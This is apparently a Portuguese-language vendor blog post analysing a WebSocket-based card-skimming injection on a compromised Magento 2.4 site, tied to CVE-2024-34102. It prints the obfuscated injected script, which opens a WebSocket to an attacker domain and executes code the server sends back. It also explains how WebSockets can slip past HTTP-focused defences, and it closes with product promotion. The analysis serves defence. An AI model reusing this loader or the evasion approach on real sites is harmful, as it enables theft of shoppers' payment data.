Na cside, monitoramos ativamente ataques à cadeia de suprimentos no lado do cliente, com foco nas táticas, técnicas e procedimentos (TTPs) em constante evolução usados por agentes de ameaças.
Um dos ataques mais comuns que observamos nos últimos meses é o direcionamento a sites de eCommerce construídos na plataforma Magento.
Em particular, acompanhamos de perto o ataque Cosmic Sting (CVE-2024-34102), amplamente reportado, inclusive pela Sansec (https://sansec.io/research/cosmicsting).
TTPs Recentes Observados Tradicionalmente, esses ataques envolvem a injeção de JavaScript (JS) de terceiros para criar uma sobreposição que rouba informações de cartão de crédito (CC) e exfiltra dados sensíveis.
No entanto, ontem mesmo (domingo, 13 de outubro), observamos um TTP novo e intrigante no qual o atacante adotou uma abordagem diferente.
Em vez de carregar JavaScript malicioso diretamente no site Magento, ele estabeleceu uma conexão WebSocket para se comunicar com um servidor de terceiros. Esse ataque teve como alvo o site sosessentials.co.uk, que roda em Magento 2.4 (Community).
Durante nossa investigação, encontramos o seguinte script injetado no site comprometido:
<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>Ao decodificar esse script ofuscado, descobrimos que ele estabelece uma conexão WebSocket com a seguinte URL: wss://gstatlc[.]org/jivo?source=.
No momento da análise, não conseguimos obter uma resposta do servidor remoto, mas com base nos padrões de ataque que observamos, acreditamos que essa conexão provavelmente tinha como objetivo o web skimming, ou seja, o roubo de dados de clientes como informações de cartão de crédito. Detalhes do Domínio O site remoto, gstatlc.org, foi criado apenas três dias antes, o que é um sinal claro de que esse domínio provavelmente faz parte da infraestrutura do atacante.
Veja os detalhes relevantes do domínio:
- Criado em: 2024-10-11
- Expira em: 2025-10-11
- Atualizado em: 2024-10-11
A Nova Tendência: WebSockets para Skimming Esse ataque representa uma evolução interessante nos TTPs, especialmente à medida que mais fornecedores de segurança começam a detectar ataques comuns de injeção de JavaScript.
Em vez de simplesmente carregar JavaScript malicioso via HTTP, o atacante estabeleceu uma conexão WebSocket (protocolo WSS) para carregar scripts e possivelmente outros dados remotamente. Isso adiciona complexidade ao ataque, pois WebSockets oferecem comunicação bidirecional em tempo real, que pode ser mais difícil de detectar e inspecionar do que requisições HTTP convencionais.
Por Que WebSockets?
Alguns aspectos intrigantes do uso de WebSockets (WSS) em ataques incluem:
Comunicação em tempo real: WebSockets permitem comunicação contínua e bidirecional entre o cliente e o servidor remoto, facilitando a exfiltração de dados ou a modificação de scripts em tempo real. Contornar defesas tradicionais: Muitas defesas web e políticas de segurança de conteúdo (CSPs) são focadas em bloquear carregamentos de recursos baseados em HTTP.
WebSockets, usando o protocolo WSS, podem escapar da detecção se não forem monitorados adequadamente. Menor dependência de recarregamentos de página: Ao contrário dos métodos tradicionais, nos quais os atacantes dependem da injeção de scripts para roubar dados durante carregamentos de página ou interações, WebSockets permitem monitoramento contínuo e exfiltração de dados sensíveis sem depender de o usuário recarregar ou navegar para fora da página.
A Abordagem da cside para Proteção no Lado do Cliente
Na cside, assumimos um papel ativo na proteção dos nossos usuários contra ameaças no lado do cliente em constante evolução, como a descrita acima. Uma das principais estratégias que empregamos é o proxy de arquivos JavaScript para análise. Com isso, conseguimos interceptar e inspecionar arquivos JavaScript que os sites tentam carregar de servidores remotos, garantindo que estejam seguros e livres de conteúdo malicioso.
Essa abordagem resultou em uma melhoria de 30% na detecção e interceptação de arquivos JavaScript remotos antes que sejam executados nos navegadores dos usuários. É importante destacar que nosso sistema garante que nenhum JS malicioso seja carregado, prevenindo efetivamente ataques como skimming de cartão de crédito e exfiltração de dados.
Nosso foco no monitoramento de atividades no lado do cliente garante que os usuários da cside estejam protegidos contra esse tipo de ataque sofisticado. Monitoramos, analisamos e bloqueamos continuamente scripts prejudiciais antes que possam causar danos, oferecendo uma camada extra de segurança aos nossos usuários e garantindo que suas informações sensíveis permaneçam protegidas.
Ao nos mantermos à frente das tendências e nos adaptarmos aos novos TTPs, garantimos que nossos usuários estejam sempre um passo à frente dos atacantes, protegendo seus ambientes online de ameaças como esse ataque de skimming baseado em WebSocket.
